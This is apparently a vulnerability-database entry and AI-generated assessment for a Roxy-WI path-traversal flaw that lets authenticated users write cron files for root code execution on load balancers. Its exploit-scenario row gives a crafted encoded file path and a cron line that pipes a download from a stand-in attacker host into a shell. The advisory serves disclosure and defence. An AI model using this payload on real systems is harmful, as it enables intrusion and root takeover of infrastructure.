Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
2DescriptionNVD
Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. In versions 8.2.6.4 and prior, POST /waf/<service>/<server_ip>/rule/<rule_id>/save accepts a config_file_name form field that is passed straight through to config_mod.master_slave_upload_and_restart(...) as the destination path. The validation chain (_replace_config_path_to_correct → check_is_conf) only requires the path to contain a hard-coded service substring (nginx/haproxy/apache2/httpd/keepalived) and the substring conf or cfg, and to not contain ... The encoded-slash substitution 92 → / is applied before the substring check, so the attacker can build any absolute path anywhere on the LB filesystem as long as it satisfies those substring constraints. The body of the WAF rule (config form field) is written verbatim to that path. By choosing a filename like 92etc92cron.d92nginx_cfg_evil (resolving to /etc/cron.d/nginx_cfg_evil), an attacker drops a cron entry on the load balancer with attacker-controlled content. Cron parses the file on its next scan, executing the embedded job as root - full RCE on every load balancer the caller's group manages. At time of publication, there are no publicly available patches.
Articles & Coverage 2
AnalysisAI
Remote code execution in Roxy-WI versions 8.2.6.4 and prior allows authenticated users to write attacker-controlled content to arbitrary absolute paths on managed load balancers via the WAF rule save endpoint. By dropping a malicious cron file (e.g., /etc/cron.d/nginx_cfg_evil), an attacker achieves root-level code execution on every load balancer in the caller's group. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires a valid low-privileged Roxy-WI user account with permission to call POST /waf/<service>/<server_ip>/rule/<rule_id>/save (PR:L per CVSS), and the attacker's group must include at least one managed load balancer for the RCE to land. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 9.9 score (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) accurately reflects severe real-world risk: network-reachable, low complexity, scope-changing (the Roxy-WI web app pivots into root code execution on every downstream load balancer), with full CIA impact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with any low-privileged Roxy-WI account (e.g., a contractor with WAF-edit rights, or a compromised operator credential) sends a POST to /waf/nginx/<server_ip>/rule/<rule_id>/save with config_file_name set to '92etc92cron.d92nginx_cfg_evil' and a config body containing '* * * * * root curl attacker.tld/x|sh'. Roxy-WI decodes 92→/, validates the path contains 'nginx' and 'cfg', and writes the file to /etc/cron.d/nginx_cfg_evil on every load balancer in the user's group; within a minute cron executes the payload as root across the entire LB fleet. |
| Remediation | No vendor-released patch identified at time of analysis - the GHSA advisory (https://github.com/roxy-wi/roxy-wi/security/advisories/GHSA-85gm-773v-x7m4) states no public patches exist at publication, so monitor that advisory for an upstream fix and upgrade as soon as a patched release is announced. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Inventory all Roxy-WI deployments and confirm version numbers; immediately revoke or rotate credentials for users with WAF rule management access. …
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EUVD-2026-36038